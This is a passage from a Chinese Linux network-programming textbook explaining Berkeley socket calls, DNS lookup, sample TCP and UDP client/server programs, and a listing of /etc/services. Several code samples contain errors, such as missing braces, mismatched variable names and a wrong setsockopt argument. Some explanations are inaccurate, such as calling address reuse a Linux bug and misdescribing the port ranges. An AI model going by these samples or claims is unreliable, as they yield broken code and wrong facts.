Linux网络编程 调用 socket()函数创建一个套接字。 调用 connect()函数试图连接服务。 如果连接成功调用 write()函数请求数据,调用 read()函数接收引入的应答。 6.6.6 send( ) 、recv( ) 函数 这两个函数是最基本的,通过连接的套接字流进行通讯的函数。 如果你想使用无连接的使用者数据报的话,请参考下面的 sendto() 和 recvfrom() 函数。 send() 函数的声明: #include <sys/types.h> #include <sys/socket.h> int send(int sockfd, const void *msg, int len, int flags); send 的参数含义如下: sockfd 是代表你与远程程序连接的套接字描述符。 msg 是一个指针,指向你想发送的信息的地址。 len 是你想发送信息的长度。 flags 发送标记。一般都设为 0(你可以查看 send 的 man pages 来获得其他的参数 值并且明白各个参数所代表的含义)。 下面看看有关 send()函数的代码片段: char *msg = “Hello! World!”; int len, bytes_sent; ⋯ ⋯ ⋯ ⋯ len = strlen(msg); bytes_sent = send(sockfd, msg, len, 0); ⋯ ⋯ ⋯ ⋯ ⋯ ⋯ send()函数在调用后会返回它真正发送数据的长度。 注意:send() 所发送的数据可能少于你给它的参数所指定的长度! 因为如果你给 send()的参数中包含的数据的长度远远大于 send()所能一次发送的数据,则 send()函数 只发送它所能发送的最大数据长度,然后它相信你会把剩下的数据再次调用它来进行第二次发送。 所以,记住如果 send()函数的返回值小于 len 的话,则你需要再次发送剩下的数据。幸运的是,如果 包足够小(小于 1K),那么 send()一般都会一次发送光的。 像上面的函数一样,send()函数如果发生错误,则返回 –1 ,错误代码存储在全局变 量 errno 中。 下面我们来看看 recv()函数。 函数 recv()调用在许多方面都和 send()很相似,下面是 recv()函数的声明: #include <sys/types.h> #include <sys/socket.h> 第 6 章 berkeley 套接字 - 155 - int recv(int sockfd, void *buf, int len, unsigned int flags); recv()的参数含义如下: sockfd 是你要读取数据的套接字描述符。 buf 是一个指针,指向你能存储数据的内存缓存区域。 len 是缓存区的最大尺寸。 flags 是 recv() 函数的一个标志,一般都为 0 (具体的其他数值和含义请参考 recv() 的 man pages)。 recv() 返回它所真正收到的数据的长度。(也就是存到 buf 中数据的长度)。如果返回 –1 则代表发生了错误(比如网络以外中断、对方关闭了套接字连接等),全局变量 errno 里 面存储了错误代码。 很简单,不是吗?现在你已经可以使用套接字连接进行网络发送数据和接受数据了! Ya! 你现在已经成为了一个 Linux 下的网络程序员了! 6.6.7 sendt o( ) 和 recvf rom( ) 函数 这两个函数是进行无连接的 UDP 通讯时使用的。使用这两个函数,则数据会在没有 建立过任何连接的网络上传输。因为数据报套接字无法对远程主机进行连接,想想我们在 发送数据前需要知道些什么呢? 对了!是远程主机的 IP 地址和端口! 下面是 sendto()函数和 recvfrom()函数的声明: #include <sys/types.h> #include <sys/socket.h> int sendto(int sockfd, const void *msg, int len, unsigned int flags, const struct sockaddr *to, int tolen); 和你所看到的一样,这个函数和 send()函数基本一致。 sockfd 是代表你与远程程序连接的套接字描述符。 msg 是一个指针,指向你想发送的信息的地址。 len 是你想发送信息的长度。 flags 发送标记。一般都设为 0。(你可以查看 send 的 man pages 来获得其他的参 数值并且明白各个参数所代表的含义) to 是一个指向 struct sockaddr 结构的指针,里面包含了远程主机的 IP 地址和端口 数据。 tolen 只是指出了 struct sockaddr 在内存中的大小 sizeof(struct sockaddr)。 和 send()一样,sendto()返回它所真正发送的字节数(当然也和 send()一样,它所真正 发送的字节数可能小于你所给它的数据的字节数)。 当它发生错误的时候,也是返回 –1 , 同时全局变量 errno 存储了错误代码。 同样的,recv()函数和 recvfrom()函数也基本一致。 recvfrom()的声明为: #include <sys/types.h> - 156 - Linux网络编程 #include <sys/socket.h> int recvfrom(int sockfd, void *buf, int len, unsigned int flags struct sockaddr *from, int *fromlen); 其参数含义如下: sockfd 是你要读取数据的套接字描述符。 buf 是一个指针,指向你能存储数据的内存缓存区域。 len 是缓存区的最大尺寸。 flags 是 recv() 函数的一个标志,一般都为 0 (具体的其他数值和含义请参考 recv() 的 man pages)。 from 是一个本地指针,指向一个 struct sockaddr 的结构(里面存有源 IP 地址和端 口数). fromlen 是一个指向一个 int 型数据的指针,它的大小应该是 sizeof(struct sockaddr).当函数返回的时候,formlen 指向的数据是 form 指向的 struct sockaddr 的实际 大小. recvfrom() 返回它接收到的字节数,如果发生了错误,它就返回–1 ,全局变量 errno 存储了错误代码. 如果一个信息大得缓冲区都放不下,那么附加信息将被砍掉。该调用可以立即返回,也 可以永久的等待。这取决于你把 flags 设置成什么类型。你甚至可以设置超时(timeout)值。 在说明书(man pages)中可以找到 recvfrom 的更多信息。 注意:如果你使用 cnnect()连接到了一个数据报套接字的服务器程序上,那么你就可 以使用 send() 和 recv() 函数来传输你的数据.不要以为你在使用一个流式的套接字,你所 使用的仍然是一个使用者数据报的套接字,只不过套接字界面在 send() 和 recv()的时候自 动帮助你加上了目标地址,目标端口的信息. 6.6.8 cl ose( ) 和 shut down( ) 函数 程序进行网络传输完毕后,你需要关闭这个套接字描述符所表示的连接。实现这个非 常简单,只需要使用标准的关闭文件的函数:close()。 使用方法: close(sockfd); 执行 close()之后,套接字将不会在允许进行读操作和写操作。任何有关对套接字描述 符进行读和写的操作都会接收到一个错误。 如果你想对网络套接字的关闭进行进一步的操作的话,你可以使用函数 shutdown()。 它允许你进行单向的关闭操作,或是全部禁止掉。 shutdown()的声明为: #include <sys/socket.h> int shutdown(int sockfd, int how); 它的参数含义如下: sockfd 是一个你所想关闭的套接字描述符. how 可以取下面的值。0 表示不允许以后数据的接收操;1 表示不允许以后数据 第 6 章 berkeley 套接字 - 157 - 的发送操作;2 表示和 close()一样,不允许以后的任何操作(包括接收,发送数据) shutdown() 如果执行成功将返回 0,如果在调用过程中发生了错误,它将返回–1,全 局变量 errno 中存储了错误代码. 如果你在一个未连接的数据报套接字上使用 shutdown()函数(还记得可以对数据报套 接字 UDP 进行 connect()操作吗?),它将什么也不做. 6.6.9 set sockopt ( ) 和 get sockopt ( ) 函数 Linux 所提供的 socket 库含有一个错误(bug)。此错误表现为你不能为一个套接字重 新启用同一个端口号,即使在你正常关闭该套接字以后。例如,比方说,你编写一个服务 器在一个套接字上等待的程序.服务器打开套接字并在其上侦听是没有问题的。无论如何, 总有一些原因(不管是正常还是非正常的结束程序)使你的程序需要重新启动。然而重启 动后你就不能把它绑定在原来那个端口上了。从 bind()系统调用返回的错误代码总是报告 说你试图连接的端口已经被别的进程所绑定。 问题就是 Linux 内核在一个绑定套接字的进程结束后从不把端口标记为未用。在大多 数 Linux/UNIX 系统中,端口可以被一个进程重复使用,甚至可以被其它进程使用。 在 Linux 中绕开这个问题的办法是,当套接字已经打开但尚未有连接的时候用 setsockopt()系统调用在其上设定选项(options)。setsockopt()调用设置选项而 getsockopt() 从给定的套接字取得选项。 这里是这些调用的语法: #include<sys/types.h> #include<sys/socket.h> int getsockopt(int sockfd, int level, int name, char *value, int *optlen); int setsockopt(int sockfd, int level, int name, char *value, int *optlen); 下面是两个调用的参数说明: sockfd 必须是一个已打开的套接字。 level 是函数所使用的协议标准(protocol level)(TCP/IP 协议使用 IPPROTO_TCP, 套接字标准的选项实用 SOL_SOCKET)。 name 选项在套接字说明书中(man page)有详细说明。 value 指向为 getsockopt()函数所获取的值,setsockopt()函数所设置的值的地址。 optlen 指针指向一个整数,该整数包含参数以字节计算的长度。 现在我们再回到 Linux 的错误上来.当你打开一个套接字时必须同时用下面的代码段 来调用 setsockopt()函数: /* 设定参数数值 */ opt = 1; len = sizeof(opt); /* 设置套接字属性 */ setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&opt,&len); setsockopt()函数还有很多其他用法,请参考帮助页(man pages). 6.6.10 get peername( ) 函数 这个函数可以取得一个已经连接上的套接字的远程信息(比如 IP 地址和端口),告诉 - 158 - Linux网络编程 你在远程和你连接的究竟是谁. 它的声明为: #include <sys/socket.h> int getpeername(int sockfd, struct sockaddr *addr, int *addrlen); 下面是参数说明: sockfd 是你想取得远程信息的那个套接字描述符。 addr 是一个指向 struct sockaddr (或是 struct sockaddr_in)的指针。 addrlen 是一个指向 int 的指针,应该赋于 sizeof(struct sockaddr)的大小。 如果在函数执行过程中出现了错误,函数将返回 –1 ,并且错误代码储存在全局变量 errno 中。 当你拥有了远程连接用户的 IP 地址,你就可以使用 inet_ntoa() 或 gethostbyaddr()来输 出信息或是做进一步的处理。 6.6.11 get host name( ) 函数 gethostname()函数可以取得本地主机的信息.它比 getpeername()要容易使用一些。 它返回正在执行它的计算机的名字。返回的这个名字可以被 gethostbyname()函数使用, 由此可以得到本地主机的 IP 地址。 下面是它的声明: #include <unistd.h> int gethostname(char *hostname, size_t size); 参数说明如下: hostname 是一个指向字符数组的指针,当函数返回的时候,它里面的数据就是本 地的主机的名字. size 是 hostname 指向的数组的长度. 函数如果成功执行,它返回 0,如果出现错误,则返回–1,全局变量 errno 中存储着错 误代码。 6.7 DNS 的操作 6.7.1 理解 DNS 你应该知道 DNS 吧?DNS 是“ Domain Name Service”(域名服务)的缩写。有了它, 你就可以通过一个可读性非常强的因特网名字得到这个名字所代表的 IP 地址。转换为 IP 地址后,你就可以使用标准的套接字函数(bind(),connect(),sendto(),或是其他任何需 要使用的函数)。 在这里,如果你输入命令: $ telnet bbs.tsinghua.edu.cn Telnet 可以知道它需要连往 202.112.58.200。这就是通过 DNS 来实现的。 6.7.2 和 DNS 有关的函数和结构 DNS 是怎样工作的呢?你可以使用 gethostbyname()函数。 第 6 章 berkeley 套接字 - 159 - 它的声明如下: #include <netdb.h> struct hostent *gethostbyname(const char *name); 正如你所看见的,它返回了一个指向 struct hostent 的指针.Struct hostent 是这样定义 的: struct hostent { char *h_name; char **h_aliases; int h_addrtype; int h_length; char **h_addr_list; }; #define h_addr h_addr_list[0] 下面是上面各个域代表含义的解释: h_name 是这个主机的正式名称。 h_aliases 是一个以 NULL(空字符)结尾的数组,里面存储了主机的备用名称。 h_addrtype 是返回地址的类型,一般来说是“ AF_INET”。 h_length 是地址的字节长度。 h_addr_list 是一个以 0 结尾的数组,存储了主机的网络地址。 注意:网络地址是以网络字节顺序存储的。 h_addr - h_addr_list 数组的第一个成员. gethostbyname() 返回的指针指向结构 struct hostent ,如果发生错误,它将会返回 NULL (但是 errno 并不代表错误代码,h_errno 中存储的才识错误代码。参考下面的 herror()函数)。 应该如何使用这个函数呢?它看起来有一点点吓人。相信我,它使用起来远远要比它 看起来容易。 6.7.3 DNS 例程 下面我们来看一段例程: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> int main (int argc, char *argv[]) { struct hostent *h; /* 检测命令行中的参数是否存在 */ - 160 - Linux网络编程 if (argc != 2) /* 如果没有参数,给出使用方法 */ fprintf (stderr “usage: getip address\n”); /* 然后退出 */ exit(1); } /* 取得主机信息 */ if((h=gethostbyname(argv[1])) == NULL) { /* 如果 gethostbyname 失败,则给出错误信息 */ herror(“gethostbyname”); /* 然后退出 */ exit(1); } /* 列印程序取得的信息 */ printf(“ Host name : %s\n”, h->h_name); printf(“IP Address : %s\n”, inet_ntoa (*((struct in_addr *)h->h_addr))); /* 返回 */ return 0; } 使用 gethostbyname()函数,你不能使用 perror()来输出错误信息(因为错误代码存储在 h_errno 中而不是 errno 中。所以,你需要调用 herror()函数。 上 面 的 程 序 是 不 是 很 神 奇 呢 ? 你 简 单 的 传 给 gethostbyname() 一 个 机 器 名 (“ bbs.tsinghua.edu.cn”),然后就从返回的结构 struct hostent 中得到了 IP 等其他信息. 程序中输出 IP 地址的程序需要解释一下: h->h_addr 是一个 char*,但是 inet_ntoa()函数需要传递的是一个 struct in_addr 结构。 所以上面将 h->h_addr 强制转换为 struct in_addr*,然后通过它得到了所有数据。 6.8 套接字的 Cl i ent /Server 结构实现的例子 现在是一个服务器/客户端的世界.几乎网络上的所有工作都是由客户端向服务器端 发送请求来实现的.比如 Telnet ,当你向一个远程主机的 23 端口发出连接请求的时候, 远程主机上的服务程序(Telnetd)就会接受这个远程连接请求。允许你进行 login 操作。 等等。 服务器和客户机之间可以使用任何方式通讯,包括 SOCK_STREAM, SOCK_DGRAM, 或是其他任何方式(只要他们使用相同的方法). 第 6 章 berkeley 套接字 - 161 - 一些服务器/客户机的例子是 telnet/telnetd,ftp/ftpd,bootp/bootpd。每次你使用 ftp, 你同时都使用了远程主机上的 ftpd 服务。一般来说,服务器上有一个程序等待连接。当接 收到一个连接的时候,服务器程序调用系统函数 fork()来得到一个子进程,专门处理这个 连接的操作。 下面我们来看一个简单的流服务器: 6.8.1 简单的流服务器 这个服务器所有的工作就是给远程的终端发送一个字符串:“ Hello,World!” 你所需要 做的就是在命令行上启动这个服务器,然后在另外一台机器上使用 telnet 连接到这台我们 自己写的服务器上: $ telnet remotehostname 4000 remotehostname 就是你运行我们自己写的服务器的那台机器名。 服务器代码: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> /* 服务器要监听的本地端口 */ #define MYPORT 4000 /* 能够同时接受多少没有 accept 的连接 */ #define BACKLOG 10 main() { /* 在 sock_fd 上进行监听,new_fd 接受新的连接 */ int sock_fd, new_fd ; /* 自己的地址信息 */ struct sockaddr_in my_addr; /* 连接者的地址信息*/ struct sockaddr_in their_addr; int sin_size; /* 这里就是我们一直强调的错误检查.如果调用 socket() 出错,则返回 */ if ((sockfd = - 162 - Linux网络编程 socket(AF_INET, SOCK_STREAM, 0)) == -1) { /* 输出错误提示并退出 */ perror(“socket”); exit(1); } /* 主机字节顺序 */ my_addr.sin_family = AF_INET; /* 网络字节顺序,短整型 */ my_addr.sin_port = htons(MYPORT); /* 将运行程序机器的 IP 填充入 s_addr */ my_addr.sin_addr.s_addr = INADDR_ANY; /* 将此结构的其余空间清零 */ bzero(&(my_addr.sin_zero), 8); /* 这里是我们一直强调的错误检查!! */ if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { /* 如果调用 bind()失败,则给出错误提示,退出 */ perror(“bind”); exit(1); } /* 这里是我们一直强调的错误检查!! */ if (listen(sockfd, BACKLOG) == -1) { /* 如果调用 listen 失败,则给出错误提示,退出 */ perror(“listen”); exit(1); } while(1) { /* 这里是主 accept()循环 */ sin_size = sizeof(struct sockaddr_in); /* 这里是我们一直强调的错误检查!! */ 第 6 章 berkeley 套接字 - 163 - if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1) { /* 如果调用 accept()出现错误,则给出错误提示,进入下一个循环 */ perror(“accept”); continue; } /* 服务器给出出现连接的信息 */ printf(“server: got connection from %s\n”, inet_ntoa(their_addr.sin_addr)); /* 这里将建立一个子进程来和刚刚建立的套接字进行通讯 */ if (!fork()) /* 这里是子进程 */ /* 这里就是我们说的错误检查! */ if (send(new_fd, “ Hello, world!\n”, 14, 0) == -1) { /* 如果错误,则给出错误提示,然后关闭这个新连接,退出 */ perror(“send”); close(new_fd); exit(0); } /* 关闭 new_fd 代表的这个套接字连接 */ close(new_fd); } } /* 等待所有的子进程都退出 */ while(waitpid(-1,NULL,WNOHANG) > 0); } 为了更清楚的描述这个套接字服务器的运行过程,我把所有的代码都写在了这个大大 的 main()主函数中。如果你觉得分成几个子程序会清楚一些,你可以自己式着把这个程序 改成几个小函数。 你可以使用下面这个套接字客户端来得到 "Hello, World!"这个字符串。 6.8.2 简单的流式套接字客户端程序 这个程序比起服务器端程序要简单一些。它所做的工作就是 connect()到服务器的 4000 端口,然后把服务器发送的字符串给显示出来。 客户端程序: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <netdb.h> - 164 - Linux网络编程 #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> /* 服务器程序监听的端口号 */ #define PORT 4000 /* 我们一次所能够接收的最大字节数 */ #define MAXDATASIZE 100 int main(int argc, char *argv[]) { /* 套接字描述符 */ int sockfd, numbytes; char buf[MAXDATASIZE]; struct hostent *he; /* 连接者的主机信息 */ struct sockaddr_in their_addr; /* 检查参数信息 */ if (argc != 2) { /* 如果没有参数,则给出使用方法后退出 */ fprintf(stderr,“usage: client hostname\n”); exit(1); } /* 取得主机信息 */ if ((he=gethostbyname(argv[1])) == NULL) /* 如果 gethostbyname()发生错误,则显示错误信息并退出 */ herror(“gethostbyname”); exit(1); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { /* 如果 socket()调用出现错误则显示错误信息并退出 */ perror(“socket”); exit(1); } 第 6 章 berkeley 套接字 - 165 - /* 主机字节顺序 */ their_addr.sin_family = AF_INET; /* 网络字节顺序,短整型 */ their_addr.sin_port = htons(PORT); their_addr.sin_addr = *((struct in_addr *)he->h_addr); /* 将结构剩下的部分清零*/ bzero(&(their_addr.sin_zero), 8); if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { /* 如果 connect()建立连接错误,则显示出错误信息,退出 */ perror(“connect”); exit(1); } if((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1) { /* 如果接收数据错误,则显示错误信息并退出 */ perror(“recv”); exit(1); } buf[numbytes] = ‘\0’; printf(“Received: %s”,buf); close(sockfd); return 0; } 注意:显然,你必须在运行 client 之前先启动 server。否则 client 的执行会出错(显示“ Connection refused”)。 6.8.3 数据报套接字例程(Dat agramSocket s) 在这里我不对数据报做过多的描述,下面你将看见另外一对例程(使用数据报):talker.c 和 listener.c。 listener 在一台机器上作为服务器程序运行,它监听端口 5000 . talker 发送 UDP 数据包到服务器的 5000 端口,传送使用者的数据。 下面是 listener.c 的源码: #include <stdio.h> - 166 - Linux网络编程 #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> /* 要连接到的端口号 */ #define MYPORT 5000 /* 能够接收的最长数据 */ #define MAXBUFLEN 100 main() { int sockfd; /* 本机的地址信息 */ struct sockaddr_in my_addr; /* 连接这的地址信息 */ struct sockaddr_in their_addr; int addr_len, numbytes; char buf[MAXBUFLEN]; /* 取得一个套接字描述符 */ if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { /* 如果取得套接字描述符失败,则给出错误信息,退出 */ perror(“socket”); exit(1); } /* 主机字节顺序 */ my_addr.sin_family = AF_INET; /* 网络字节顺序,短整型 */ my_addr.sin_port = htons(MYPORT); /* 自动设置为自己的 IP */ my_addr.sin_addr.s_addr = INADDR_ANY; 第 6 章 berkeley 套接字 - 167 - /* 将结构的其余空间清零 */ bzero(&(my_addr.sin_zero), 8); /* 绑定端口 */ if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == -1) { /* 如果绑定端口出错,则显示错误信息然后退出 */ perror(“bind”); exit(1); } addr_len = sizeof(struct sockaddr); /* 接收数据 */ if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, (struct sockaddr *)&their_addr, &addr_len)) == -1) { /* 如果 recvfrom()调用出错,则显示错误信息后退出 */ perror(“recvfrom”); exit(1); } /* 显示接收到的数据 */ printf(“got packet from %s\n”,inet_ntoa(their_addr.sin_addr)); printf(“packet is %d bytes long\n”,numbytes); buf[numbytes] = ‘\0’; printf(“packet contains \”%s\“\n”,buf); /* 关闭套接字连接 */ close(sockfd); } 注意我们调用 socket()函数的时候使用的是 SOCK_DGRAM 为参数。而且,我们并不 需要 listen()或是 accept()。这是因为我们使用了无连接的使用者数据报套接字! 下面的是 talker.c 的源码: #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> - 168 - Linux网络编程 #include <netdb.h> #include <sys/socket.h> #include <sys/wait.h> /* 要连接的端口 */ #define MYPORT 5000 int main(int argc, char *argv[]) { int sockfd; /* 连接者的地址信息 */ struct sockaddr_in their_addr; struct hostent *he; int numbytes; if (argc != 3) { /* 检测是否有所须参数,如没有,则显示使用方法后退出 */ fprintf(stderr,“usage: talker hostname message\n”); exit(1); } if ((he=gethostbyname(argv[1])) == NULL) { /* 取得主机的信息,如果失败则显示错误信息后退出 */ herror(“gethostbyname”); exit(1); } if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) { /* 申请一个数据报套接字描述符,失败则退出 */ perror (“socket”); exit(1); } /* 主机字节顺序 */ their_addr.sin_family = AF_INET; /* 网络字节顺序,短整型 */ 第 6 章 berkeley 套接字 - 169 - their_addr.sin_port = htons(MYPORT); their_addr.sin_addr = *((struct in_addr *)he->h_addr); /* 将结构中未用的部分清零 */ bzero(&(their_addr.sin_zero), 8); if ((numbytes=sendto(sockfd, argv[2], strlen(argv[2]), 0, (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) { /* 把信息发送到指定的主机指定端口,如出错则提示退出 */ perror(“recvfrom”); exit(1); } printf(“sent %d bytes to %s\n”,numbytes,inet_ntoa(their_addr.sin_addr)); /* 关闭套接字描述符后退出 */ close(sockfd); return 0; } 上面这两个程序,你需要在一台主机上首先运行 listener,然后在另外一台主机上运行 talker。现在看到它们之间的通讯了吗? 最后,我们要注意一点:使用连接的数据报套接字。因为我们在讲使用数据报,所以 我们需要了解它。如果我们的 talker 程序使用了 connect()函数来连接 listener 的地址,那么 talker 程序就能够使用 sent()和 recv()来处理数据了。因为 talker 程序在 connect()函数中已 经知道了远程主机的地址和端口号. 6.9 保留端口 6.9.1 简介 大多数网络应用程序使用两个协议:传输控制协议(TCP)和用户数据包协议(UDP)。 他们都使用一个端口号以识别应用程序。端口号为主机上所运行之程序所用,这样就可以 通过号码象名字一样来跟踪每个应用程序。端口号让操作系统更容易的知道有多少个应用 程序在使用系统,以及哪些服务有效。 理论上,端口号可由每台主机上的管理员自由的分配。但为了更好的通信通常采用一 些约定的协议。这些协议使能通过端口号识别一个系统向另一个系统所请求的服务的类 型。基于如此理由,大多数系统维护一个包含端口号及它们所提供哪些服务的文件。 端口号被从 1 开始分配。通常端口号超出 255 的部分被本地主机保留为私有用途。1 到 255 之间的号码被用于远程应用程序所请求的进程和网络服务。每个网络通信循环地进 出主计算机的 TCP 应用层。它被两个所连接的号码唯一地识别。这两个号码合起来叫做套 接字.组成套接字的这两个号码就是机器的 IP 地址和 TCP 软件所使用的端口号。 因为网络通讯至少包括两台机器,所以在发送和接收的机器上都存在一个套接字。由 于每台机器的 IP 地址是唯一的。端口号在每台机器中也是唯一的,所以套接字在网络中应 - 170 - Linux网络编程 该是唯一的。这样的设置能使网络中的两个应用程序完全的基于套接字互相对话。 发送和接收的机器维护一个端口表,它列出了所有激活的端口号。两台机器都包括一 个进程叫做绑定,这是每个任务的入口,不过在两台机器上恰恰相反。换句话说,如果一 台机器的源端口号是 23 而目的端口号被设置成 25,那么另一台机器的源端口号设置成 25 目的端口号设置成 23。 6.9.2 保留端口 系统留有 1024 个保留端口。这些端口是留给系统使用的,在系统中,只有具有 Root 权利的人才可以使用 1024 以下的端口(包括 1024) 这里是 RedHat 6.0 中 /etc/services 文件: [root@bbs /etc]# cat /etc/services # /etc/services: # $Id: services,v 1.4 1997/05/20 19:41:21 tobias Exp $ # # Network services, Internet style # # Note that it is presently the policy of IANA to assign a single well-known # port number for both TCP and UDP; hence, most entries here have two entries # even if the protocol doesn‘t support UDP operations. # Updated from RFC 1700, “Assigned Numbers” (October 1994). Not all ports # are included, only the more common ones. tcpmux 1/tcp # TCP port service multiplexer ztelnet 2/tcp echo 7/tcp echo 7/udp discard 9/tcp sink null discard 9/udp sink null systat 11/tcp users daytime 13/tcp daytime 13/udp netstat 15/tcp qotd 17/tcp quote msp 18/tcp # message send protocol msp 18/udp # message send protocol chargen 19/tcp ttytst source chargen 19/udp ttytst source ftp-data 20/tcp ftp 21/tcp 第 6 章 berkeley 套接字 - 171 - fsp 21/udp fspd ssh 22/tcp # SSH Remote Login Protocol ssh 22/udp # SSH Remote Login Protocol telnet 23/tcp #stelnet 30/tcp # 24 - private smtp 25/tcp mail # 26 - unassigned time 37/tcp timserver time 37/udp timserver rlp 39/udp resource # resource location nameserver 42/tcp name # IEN 116 whois 43/tcp nicname re-mail-ck 50/tcp # Remote Mail Checking Protocol re-mail-ck 50/udp # Remote Mail Checking Protocol domain 53/tcp nameserver # name-domain server domain 53/udp nameserver mtp 57/tcp # deprecated bootps 67/tcp # BOOTP server bootps 67/udp bootpc 68/tcp # BOOTP client bootpc 68/udp tftp 69/udp gopher 70/tcp # Internet Gopher gopher 70/udp rje 77/tcp netrjs finger 79/tcp www 80/tcp http # WorldWideWeb HTTP www 80/udp # HyperText Transfer Protocol link 87/tcp ttylink kerberos 88/tcp kerberos5 krb5 # Kerberos v5 kerberos 88/udp kerberos5 krb5 # Kerberos v5 supdup 95/tcp # 100 - reserved hostnames 101/tcp hostname # usually from sri-nic iso-tsap 102/tcp tsap # part of ISODE. csnet-ns 105/tcp cso-ns # also used by CSO name server csnet-ns 105/udp cso-ns # unfortunately the poppassd (Eudora) uses a port which has already - 172 - Linux网络编程 # been assigned to a different service. We list the poppassd as an # alias here. This should work for programs asking for this service. # (due to a bug in inetd the 3com-tsmux line is disabled) #3com-tsmux 106/tcp poppassd #3com-tsmux 106/udp poppassd rtelnet 107/tcp # Remote Telnet rtelnet 107/udp pop-2 109/tcp postoffice # POP version 2 pop-2 109/udp pop-3 110/tcp # POP version 3 pop-3 110/udp sunrpc 111/tcp portmapper # RPC 4.0 portmapper TCP sunrpc 111/udp portmapper # RPC 4.0 portmapper UDP #by zixia RPC 111/tcp portmapper # RPC 4.0 portmapper TCP #RPC 111/udp portmapper # RPC 4.0 portmapper UDP auth 113/tcp authentication tap ident sftp 115/tcp uucp-path 117/tcp nntp 119/tcp readnews untp # USENET News Transfer Protocol ntp 123/tcp ntp 123/udp # Network Time Protocol netbios-ns 137/tcp # NETBIOS Name Service netbios-ns 137/udp netbios-dgm 138/tcp # NETBIOS Datagram Service netbios-dgm 138/udp netbios-ssn 139/tcp # NETBIOS session service netbios-ssn 139/udp imap2 143/tcp imap # Interim Mail Access Proto v2 imap2 143/udp imap snmp 161/udp # Simple Net Mgmt Proto snmp-trap 162/udp snmptrap # Traps for SNMP cmip-man 163/tcp # ISO mgmt over IP (CMOT) cmip-man 163/udp cmip-agent 164/tcp cmip-agent 164/udp xdmcp 177/tcp # X Display Mgr. Control Proto xdmcp 177/udp nextstep 178/tcp NeXTStep NextStep # NeXTStep window nextstep 178/udp NeXTStep NextStep # server bgp 179/tcp # Border Gateway Proto. 第 6 章 berkeley 套接字 - 173 - bgp 179/udp prospero 191/tcp # Cliff Neuman‘s Prospero prospero 191/udp irc 194/tcp # Internet Relay Chat irc 194/udp smux 199/tcp # SNMP UNIX Multiplexer smux 199/udp at-rtmp 201/tcp # AppleTalk routing at-rtmp 201/udp at-nbp 202/tcp # AppleTalk name binding at-nbp 202/udp at-echo 204/tcp # AppleTalk echo at-echo 204/udp at-zis 206/tcp # AppleTalk zone information at-zis 206/udp qmtp 209/tcp # The Quick Mail Transfer Protocol qmtp 209/udp # The Quick Mail Transfer Protocol z3950 210/tcp wais # NISO Z39.50 database z3950 210/udp wais ipx 213/tcp # IPX ipx 213/udp imap3 220/tcp # Interactive Mail Access imap3 220/udp # Protocol v3 rpc2portmap 369/tcp rpc2portmap 369/udp # Coda portmapper codaauth2 370/tcp codaauth2 370/udp # Coda authentication server ulistserv 372/tcp # UNIX Listserv ulistserv 372/udp https 443/tcp # MCom https 443/udp # MCom snpp 444/tcp # Simple Network Paging Protocol snpp 444/udp # Simple Network Paging Protocol saft 487/tcp # Simple Asynchronous File Transfer saft 487/udp # Simple Asynchronous File Transfer npmp-local 610/tcp dqs313_qmaster # npmp-local / DQS npmp-local 610/udp dqs313_qmaster # npmp-local / DQS npmp-gui 611/tcp dqs313_execd # npmp-gui / DQS npmp-gui 611/udp dqs313_execd # npmp-gui / DQS hmmp-ind 612/tcp dqs313_intercell# HMMP Indication / DQS - 174 - Linux网络编程 hmmp-ind 612/udp dqs313_intercell# HMMP Indication / DQS # # UNIX specific services # exec 512/tcp biff 512/udp comsat login 513/tcp who 513/udp whod shell 514/tcp cmd # no passwords used syslog 514/udp printer 515/tcp spooler # line printer spooler talk 517/udp ntalk 518/udp route 520/udp router routed # RIP timed 525/udp timeserver tempo 526/tcp newdate courier 530/tcp rpc conference 531/tcp chat netnews 532/tcp readnews netwall 533/udp # -for emergency broadcasts uucp 540/tcp uucpd # uucp daemon afpovertcp 548/tcp # AFP over TCP afpovertcp 548/udp # AFP over TCP remotefs 556/tcp rfs_server rfs # Brunhoff remote filesystem klogin 543/tcp # Kerberized ‘rlogin’ (v5) kshell 544/tcp krcmd # Kerberized ‘rsh’ (v5) kerberos-adm 749/tcp # Kerberos ‘kadmin’ (v5) # webster 765/tcp # Network dictionary webster 765/udp # # From “Assigned Numbers”: # #> The Registered Ports are not controlled by the IANA and on most systems #> can be used by ordinary user processes or programs executed by ordinary #> users. # #> Ports are used in the TCP [45,106] to name the ends of logical #> connections which carry long term conversations. For the purpose of 第 6 章 berkeley 套接字 - 175 - #> providing services to unknown callers, a service contact port is #> defined. This list specifies the port used by the server process as its #> contact port. While the IANA can not control uses of these ports it #> does register or list uses of these ports as a convienence to the #> community. # ingreslock 1524/tcp ingreslock 1524/udp prospero-np 1525/tcp # Prospero non-privileged prospero-np 1525/udp datametrics 1645/tcp old-radius # datametrics / old radius entry datametrics 1645/udp old-radius # datametrics / old radius entry sa-msg-port 1646/tcp old-radacct # sa-msg-port / old radacct entry sa-msg-port 1646/udp old-radacct # sa-msg-port / old radacct entry radius 1812/tcp # Radius radius 1812/udp # Radius radacct 1813/tcp # Radius Accounting radacct 1813/udp # Radius Accounting cvspserver 2401/tcp # CVS client/server operations cvspserver 2401/udp # CVS client/server operations venus 2430/tcp # codacon port venus 2430/udp # Venus callback/wbc interface venus-se 2431/tcp # tcp side effects venus-se 2431/udp # udp sftp side effect 